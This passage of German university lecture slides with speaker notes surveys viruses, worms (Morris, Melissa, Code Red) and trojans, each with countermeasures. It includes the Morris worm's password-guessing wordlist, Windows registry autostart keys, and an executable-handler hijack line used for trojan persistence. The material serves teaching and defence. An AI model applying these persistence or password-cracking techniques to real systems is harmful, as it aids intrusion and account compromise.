untersucht und gegebenenfalls infiziert, wird eine Verzeichnisebene höher fortgesetzt. 36 2.2.1 Computer Viren Nährboden für Viren starke Aktivität am Rechner (Programmausführung) Systeme ohne oder mit schwachen Schutzmechanismen (z.B. MS-DOS, frühe Windows-Versionen) System-Monopole (z.B. Windows für PCs) Einschleppen durch Programme/Daten dubioser Herkunft (z.B. übers Netz) Die Ausbreitung von Viren kann durch ein bestimmtes Umfeld begünstigt werden. Da Viren zur Verbreitung auf die Ausführung ihres Wirtsprogramms angewiesen sind, sind Umgebungen mit hoher Rechneraktivität günstig, in denen viele Programme ausgeführt werden. Außerdem sind Systeme mit keinem oder schwachen Schutzmechanismen stärker gefährdet. System-Monopole wie Windows sind insbesondere für Makro-Viren günstig, da eine gemeinsame Skriptsprache auf einer großen Anzahl von Rechner benutzt wird. Außerdem könne Viren durch das Einschleusen von Programmen oder Daten aus dubiosen Quellen (z.B. übers Netz, Tauschbörsen) auf den lokalen Rechner gelangen. 37 2.2.1 Computer Viren Gegenmaßnahmen – Beschränkung der Schreibrechte – Dateischutz mit Prüfsummen oder Verschlüsselung – Möglichst das automatische Ausführen von Makros ausschalten – Viren-Scanner Im folgenden einige Gegenmaßnahmen gegen Viren: Durch eine Beschränkung der Schreibrechte wird das Modifizieren von Dateien schwerer. Das Verschlüsseln von Dateien hilft gegen einfaches Überschreiben des verschlüsselten Codes durch den Virus-Code. Eine weitere Möglichkeit ist es, eine Prüfsumme des Programms zu erstellen. Dadurch kann eine Verbreitung des Virus unterbunden werden, der Befall jedoch nicht. Die automatische Ausführung von Makros sollte nach Möglichkeit unterbunden werden. Die am häufigsten eingesetzten Werkzeuge gegen Viren sind Viren-Scanner, die Programme auf Vorhandensein spezifischer Bytemuster bzw. Codesequenzen durchsuchen. 38 2.2.2 Würmer • Programm, das sich über das Netz fortpflanzt, entweder selbsttätig (Internet Worm Morris 1988) oder als Anhängsel von E-Mails (Love Letter, 2000) • Typische Verbreitungsmethoden – Nutzung von Diensten zur Fernausführung von Programmen (z.B. Unix rsh) – Sicherheitslücken in Internet Daemons (z.B. offene Debug-Option in sendmail führt zur Annahme und Ausführung von Shell Befehlen) – Skripte als Anlagen zu E-Mails (z.B. in VBS geschrieben), Öffnung führt zu weiteren Verbreitung (z.B. mittels Adressdaten) Im Gegensatz zu einem Virus ist ein Wurm ein eigenständiges, ablauffähiges Programm, dass kein Wirtsprogramm zur Ausführung benötigt und sich über das Netz verbreitet. Beispielwürmer sind Loveletter, Nimda, Melissa, CodeRed oder der Internet Worm Morris. Würmer nutzen zum Teil reguläre Möglichkeiten (rsh in Unix, oder VBS-Skripte als Anlagen zu E-Mails), um ihre Daten übers Netz zu übertragen, oder nutzen gezielt bekannte Sicherheitslücken aus (z.B. offene Debug-Option in sendmail). 39 2.2.2 Würmer Internet Wurm Morris 1988 http://www.snowplow.org/tom/worm/worm.html http://world.std.com/~franl/worm.html Nutzte Schwachstellen in UNIX-Systemen (VAX und SUN-3 Workstations mit Berkely UNIX 4.2 und 4.3) Infizierte etwa 6000 Rechner (ca. 10% des damaligen Internets) Systeme wurden abgeschaltet, um sich vor Attacken zu schützen Kein expliziter Schadensteil, aber Netzwerkverkehr Der Morris bzw. Internet-Wurm ist einer der ersten echten Massen-Würmer. Er ist nach seinem Schöpfer Robert T. Morris benannt, Sohn eines hochrangigen Mitarbeiters der amerikanischen National Security Agency (NSA). Der Morris-Wurm nutzte Schwachstellen in UNIX-Systemen aus und infizierte ca. 6000 Rechner, was etwa 10% des damaligen Internets entspricht. Außerdem wurden Rechner abgeschaltet und vom Netz genommen, um nicht infiziert zu werden. Der Wurm hat keinen expliziten Schadensteil, jedoch legte er durch den erhöhten Netzverkehr große Teile des Internets lahm. 40 2.2.2 Würmer Angriff suche nach Rechnern (/etc/hosts.equiv, /.rhosts, netstat, Zufallsadressen) und Benutzerkonten (/etc/passwd) nutze Sicherheitslücken aus: fingerd (Informationen über Benutzer): buffer overflow sendmail (e-mail Transport): offener Debug-Modus erlaubt Zugriff auf entfernten Rechner rsh: Passwörter knacken (Kombinationen aus Benutzername, Liste „populärer“ Passwörter kopiere Wurm auf entfernten Rechner und führe den Wurm aus Die Aktivitäten des Wurms lassen sich in Angriffs- und Abwehraktivitäten unterteilen. Beim Angriff wird zunächst nach Rechnern und Benutzerkonten gesucht, die angegriffen werden sollen. Bei diesen Rechnern wird versucht, Sicherheitslücken auszunutzen. War dies erfolgreich, wird der Wurm auf den entfernten Rechner kopiert und ausgeführt. Die Rechneradressen erhält der Wurm aus den Dateien /etc/hosts.equiv, /.rhosts, aus der Routing-Information produziert durch netstat sowie zufällig generierten Adressen. Der Morris-Wurm benutzt eine Reihe verschiedener Techniken und Schwachstellen, um sich fortzupflanzen: Eine Schwachstelle war die Ausnutzung eines Buffer Overflows im finger-Daemon, der auf finger-Anfragen wartet und diese beantwortet. Das finger-Programm dient bei UNIX-Systemen dazu, grundlegende Informationen über Benutzer abzufragen. Das finger-Programm überprüfte nicht die Länge der finger-Anfrage. Weiterhin nutzt der Wurm das sendmail-Programm, das für den Transport von E-Mails zuständig ist. Das sendmail-Programm verfügt über einen Debug-Modus, in dem man von einem entfernten Rechner Befehle übermitteln und ausführen kann. In manchen UNIX-Systemen war dieser Debug-Modus standarmässig aktiviert. Der Wurm sendete eine geeignete Befehlssequenz an den Ziel-Rechner, deren Ausführung bewirkte, dass auf dem Ziel-Rechner eine Shell gestartet wurde mit der das Wurm-Programm übersetzt und ausgeführt wurde. Außerdem versucht der Morris-Wurm auf eroberten Rechnern die Passwörter der Benutzerkonten zu knacken. Dazu wurde eine Wortliste von 400 typischen Passwörtern und Kombinationen der Benutzernamen ausprobiert. Ist ein Passwort gefunden, kann der Wurm mittels rsh auf den entfernten Rechner zugreifen und eine Kopie des Wurms ausführen. 41 2.2.2 Würmer aaa cornelius guntis noxious simon academia couscous hacker nutrition simple aerobics creation hamlet nyquist singer airplane creosote handily oceanography single albany cretin happening ocelot smile albatross daemon harmony olivetti smiles albert dancer harold olivia smooch alex daniel harvey oracle smother alexander danny hebrides orca snatch algebra dave heinlein orwell snoopy aliases december hello osiris soap alphabet defoe help outlaw socrates ama deluge herbert oxford sossina amorphous desperate hiawatha pacific sparrows analog develop hibernia painless spit anchor dieter honey pakistan spring andromache digital horse pam springer animals discovery horus papers squires answer disney hutchins password strangle anthropogenic dog imbroglio patricia stratford anvils drought imperial penguin stuttgart anything duncan include peoria subway aria eager ingres percolate success ariadne easier inna persimmon summer arrow edges innocuous persona super arthur edinburgh irishman pete superstageathena edwin isis peter support atmosphere edwina japan philip supported aztecs egghead jessica phoenix surfer azure eiderdown jester pierre suzanne bacchus eileen jixian pizza swearer ... Hier (ein Auszug) aus der Liste der Passwörter, mittels derer der Wurm die Passwörter zu knacken versuchte. 42 2.2.2 Würmer Verteidigungsmaßnahmen des Wurms • ändern des Namens in sh • wechseln der Prozess ID mit fork() • setzt Core-Dump Größe auf 0 (kein Core Dump, verhindert Analyse) • löscht von ihm erzeugte Dateien, sobald nicht mehr benötigt • ... Um unbemerkt zu bleiben, ändert der Wurm seinen Namen in sh. Dies ist der Prozessname der Bourne Shell, welches ein üblicher Benutzerprozess ist. Wenn nun die Liste der laufenden Prozesse betrachtet wird während der Wurm im System ist, bemerkt man nichts ungewöhnliches. Der Wurm benutzt fork(), um seine Prozess ID zu ändern, um nicht zu lange die gleiche ID zu besitzen. Der Wurm setzt die maximale Grösse des Core-Dumps auf Null. Der Core-Dump erzeugt eine Kopie des laufenden CPU Prozesses für weitere Untersuchungen in den Speicher. Ein Core-Dump erscheint wenn ein Programm abstürzt, kann aber auch erzwungen werden. Da der Wurm die Größe auf 0 gesetzt hat, kann man bei einem (erzwungenen) Absturz keine Kopie des Wurms erhalten. Dies erschwert, selbst beim Auffinden des Wurms, den Wurm zu stoppen, da man nicht seine interne Struktur kennt. Außerdem löscht der Wurm alle Dateien von der Platte, die er nicht mehr braucht (z.B. die Kopie des Wurmes). 43 2.2.2 Würmer VBS-Mail-Wurm Melissa 1999 befallene Systeme: MS Word 97 /2000 verbreitet über e-mail von: Anna Schultze Betreff: Important Message from Anna Schultze Here is that document you asked for ... don't show anyone else ;-) Anhang: list.doc Der Wurm Melissa ist ein Beispiel eines Mail-Wurmes, der im Jahr 1999 Rechner mit Microsoft Word 97 oder Word 2000 befiel. Der Melissa-Wurm verbreitet sich mittels eine e-mail mit infizierter Word-Datei (List.doc) als Anhang. Diese Word-Datei enthält ein VBS-Skript, dass beim Öffnen des Dokumentes ausgeführt wird. 44 2.2.2 Würmer Vorgehensweise von Melissa • ändert Makroeinstellungen so, dass Ausführung von Makros erlaubt ist • prüft die Windows-Registry – HKEY_Current_User\Software\Microsoft\Office\Melissa? hat den Wert ...by Kwyjibo? – Nein: verschicke e-mail an die ersten 50 Einträge im MS Outlook Adressbuch und setzte Registry-Eintrag • Infiziert Normal.dot jedes neue Word-Dokument ist infiziert Wird der Wurm ausgeführt, unternimmt Melissa die folgenden Schritte: Der Wurm verringert die Sicherheitseinstellungen zur Ausführung von Makros, um das Ausführen von Makros zu erlauben. Dadurch wird der Benutzer nicht benachrichtigt, wenn der Wurm zukünftig ausgeführt wird. Der Wurm prüft dann in der Windows-Registry ob der Schlüssel "HKEY_Current_User\Software\Microsoft\Office\Melissa?" den Wert „...by Kwyjibo“ besitzt. Wenn dies nicht der Fall ist (kein Schlüsseleintrag oder nicht den Wert „...byKwyjibo“) sendet der Wurm e-mails an die ersten 50 Einträge des Microsoft Outlook Adressbuches. Sollte eine der Adressen eine Mailingliste sein, so werden e-mails an alle Einträge der Liste geschickt. Zur Verbreitung muss Outlook installiert sein, muss aber nicht der Mail-Client zum Lesen der Nachricht gewesen sein. Danach setzt der Virus den Wert des Registry-Schlüssels auf „... by Kwyjibo". Der Wurm infiziert danach die Normal.dot Vorlage von Word. Standardmäßig benutzen alle Word-Dokumente die Normal.dot Vorlage, so dass jedes neu erzeugte Word-Dokument infiziert wird 45 2.2.2 Würmer • Bedingung für den Payload: die Minute der Stunde muss mit dem Tag des Monats übereinstimmen • Payload: fügt "Twenty-two points, plus triple-wordscore, plus fifty points for using all my letters. Game's over. I'm outta here." ins aktuelle Dokument ein Bemerkung: Diesen Satz sagt Bart Simpson in einer Folge, in der er eine Partie Scrabble spielt und sie mit dem Wort Kwyjibo gewinnt. Schließlich, wenn die Minute der aktuellen Stunde mit dem Tag des Monats übereinstimmt, wird der Payload des Wurms aktiviert. Der Wurm fügt die Nachricht "Twenty-two points, plus tripleword-score, plus fifty points for using all my letters. Game's over. I'm outta here." in das aktuelle Dokument ein. 46 2.2.2 Würmer • MyDoom, Januar 2004 – Verteiltes DoS auf Microsoft und SCO – bisher schnellste Ausbreitung – verbreitet über e-mail und peer-to-peer • Sobig Worm, August 2003 – Verbreitung über Mail-Attachment – Benutzt eigene SMTP-Engine zur Replikation • SQL Slammer, Januar 2003 – Microsoft SQL 2000 – Buffer Overflow (Heap und Stack) • Code Red, Juli 2001 – Index Dienst des Microsoft Internet Information Server (IIS) – Buffer Overflow in Idq.dll • http://en.wikipedia.org/wiki/Notable_computer_viruses_and_wor ms Weitere bekannte Würmer sind MyDoom, Sobig, Code Red und SQL Slammer usw. Die beiden erstgenannten verbreiten sich über e-mail. Die beiden letztgenannten Würmer nutzen eine Buffer Overflow-Schwachstelle aus: Code Red eine Schwachstelle im Index Dienst des Microsoft Internet Information Server. Der Indexdienst indexiert Webseiten und lokale Festplatten. Der Wurm Code Red verändert Webseiten. Der Wurm SQL Slammer nutze Buffer Overflows im Microsoft SQL 2000 Server. 47 2.2.2 Würmer Gegenmaßnahmen – Restriktive Vergabe von Zugriffsrechten, insbesondere für entfernte Rechner – Patches einspielen, – Sicherheitsmeldngen verfolgen • • • • • • www.heise.de/security www.bsi.de www.cert.org www.nsa.gov www.microsoft.com/security www.iig.uni-freiburg.de/telematik/spps/ Durch eine restriktive Vergabe von Zugriffsrechten lässt sich das unerlaubte Beschaffen von Informationen und das Einbringen fremden Codes beschränken. Besonders Passwortdateien sind zu schützen (auch Beschränkung der Leserechte). Kontrolliert werden müssen insbesondere die Rechte bei Zugriffen von entfernten Rechnern. Da Würmer in der Regel bekannte Implementierungsschwächen ausnutzen, müssen diese Lücken durch Administrationen mittels Patches beseitigt werden, sobald Lücken (und die Patches) vorhanden sind. Die Lücken in sendmail und fingerd waren beispielsweise schon lange vor dem Internet-Wurm bekannt. Aktuelle Informationen zu Lücken werden regelmäßig im Internet veröffentlicht und sollten von Administratoren verfolgt werden. 48 2.2.2 Würmer vs. Viren Wurm – Kann sich selbsttätig fortpflanzen, sich auf andere Rechner kopieren – Kann sich selbständig ausführen – Nutzt Sicherheitslücken aus Virus – Integriert sich in ein Wirtsprogramm – Kann nicht selbsttätig ausgeführt werden – Benötigt, dass das Wirtsprogramm gestartet wird Zwischen Würmern und Viren gibt es einige Unterschiede: Würmer können sich selbstständig fortpflanzen, in dem sie sich über das Netz auf andere Rechner kopieren. Weiterhin brauchen Würmer kein Wirtsprogramm, sondern können selbständig ausgeführt werden. Viren brauchen immer ein Wirtsprogramm, das ausgeführt werden muss, um den Virus zu starten. Würmer nutzen zu ihrer Verbreitung Sicherheitslücken in der Software aus. 49 2.2.2 Construction Kits Wir basteln uns einen Virus oder Wurm.... Construction Kits Next Generation Virus Construktion Kit (NGVCK) Virus Creation Laboratory VBS Worm Generator und viele mehr.... Es existieren mehrere Construction Kits, mit denen sich Viren und Würmer einfach erstellen lassen, ohne dass viel Programmierarbeit notwenig ist. Beispielsweise wurde der Wurm Kournikova mit den VBS Worm Generator erstellt. Auch wenn das Erstellen von Viren und Würmern mit diesen Kits einfach möglich ist, sollte man es jedoch trotzdem nicht tun. Ein generierter Wurm/Virus könnte aus Versehen in Umlauf gebracht werden, ohne dass man es möchte. 50 2.2.3 Trojanische Pferde Programme, die neben scheinbar nützlichen auch nicht dokumentierte, schädliche Funktionen enthalten und diese unabhängig vom ComputerAnwender und ohne dessen Wissen ausführen. Spionagefunktionen (Passwörter), Kommunikations- und Fernsteuerungskomponente (z.B. NetBus) Trojanische Pferde sind Programme, die neben scheinbar nützlichen auch nicht dokumentierte, schädliche Funktionen enthalten und diese unabhängig vom Computer-Anwender und ohne dessen Wissen ausführen. Trojaner können reine Spionagefunktionen (wie das Ermitteln von Passwörtern) oder destruktive Funktionen besitzen. Häufig verfügen Trojaner über eine Kommunikations- oder Fernsteuerungskomponente, um auf dieses Weise die erfassten Daten zu übermitteln oder Befehle zur Fernsteuerung entgegenzunehmen. 51 2.2.3 Trojanische Pferde • Abgerundete Beträge bei Zinsabrechnungen auf eigenes Konto • Durchsuchen der Festplatte nach Software • Password-Sniffer Ein Beispiel eines Trojaners ist das Programm eines Bankangestellten, der eine Software für Zinsabrechnungen auf drei Stellen genau entwickeln sollte. Als zusätzliche Funktion ließ er Restbeträge, die beim Abrunden anfielen, auf sein Konto gutschreiben. Ein anderes Beispiel ist eine Demo-Version der Firma CadSoft, die versteckt die Festplatte des Benutzer-PCs nach Programmen der Firma CadSoft durchsuchte und auf dem Bestellformular für das Handbuch codierte. Ein weiters Beispiel eines Trojanischen Pferdes sind „Password-Sniffer“. Password-Sniffer haben meist das Erscheinungsbild des normalen Anmelde-Bildschirms, so dass der berechtigte Anwender von der Manipulation nichts merkt. Der Password-Sniffer protokolliert dann heimlich bei der Anmeldung das Passwort und ermöglichen dann dem Angreifer die unberechtigte Nutzung. 52 2.2.3 Trojanische Pferde Ausnutzen der Windows Registry – Trojaner beim Systemstart laden • • • • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ... – Trojaner mit anderen Programmen starten • HKLM\SOFTWARE\Classes\exefile\shell\open\command – Z.B. C:\Windows\Temp\trojan.exe “%1 %*“ • Übertragbar auf Dateitypen com, bat, html, mp3.... Um Trojaner zu aktivieren, gibt es mehrere Möglichkeiten. Die Windows-Registry bietet beispielsweise Möglichkeiten, Programme beim Systemstart oder zu einem anderen Zeitpunkt automatisch zur Ausführung zu bringen. Dazu können verschiedene Run-Schlüssel in der Registry gesetzt werden. Die Run-Schlüssel unterscheiden sich in der Reihenfolge und der Art der Ausführung der enthaltenden Programme. So werden beispielsweise die Schlüssel RunServices und RunServicesOnce schon vor dem Anmeldebildschirm ausgeführt. Alle RunOnce-Schlüssel werden nur einmal ausgeführt und dann automatisch entfernt. Beim Schlüssel RunOnceEx wird bei seiner Verarbeitung ein Dialogfenster angezeigt (und eignet sich zum Verstecken von Trojaner daher eher nicht). 53 2.2.3 Trojanische Pferde Gegenmaßnahmen Sensible Daten (Passworte, PIN, ..) nicht ungeschützt speichern Benutzerrechte beschränken Signieren von Programmen Sensible Daten, wie Pässwörter, PINs, TANs etc., sollten nicht auf der Festplatte gespeichert werden, auf die ungehindert lesend zugegriffen werden kann. Wenn sensible Daten gespeichert werden, so sollten sie möglichst verschlüsselt werden. Die Rechte von Benutzern zur Ausführung von Betriebssystemdiensten sollte beschränkt werden, so dass jeder Benutzer nur die Dienste bekommt, die er zur Erledigung seiner Aufgaben benötigt (Prinzip der minimalen Rechte). Weiterhin kann man Programme mit der digitalen Unterschrift des Erzeugers versehen und vor der Ausführung die Korrektheit der Signatur überprüfen. 54 2.2.3 Trojanische Pferde Trojaner generieren.... Senna Spy Trojan Generator Auch zum Generieren von Trojanern lassen sich Tools finden... 55 2.2.3 Trojanische Pferde Trojaner generieren.... Senna Spy Trojan Generator 56 2.2.3 Trojanische Pferde Trojaner generieren.... Senna Spy Trojan Generator 57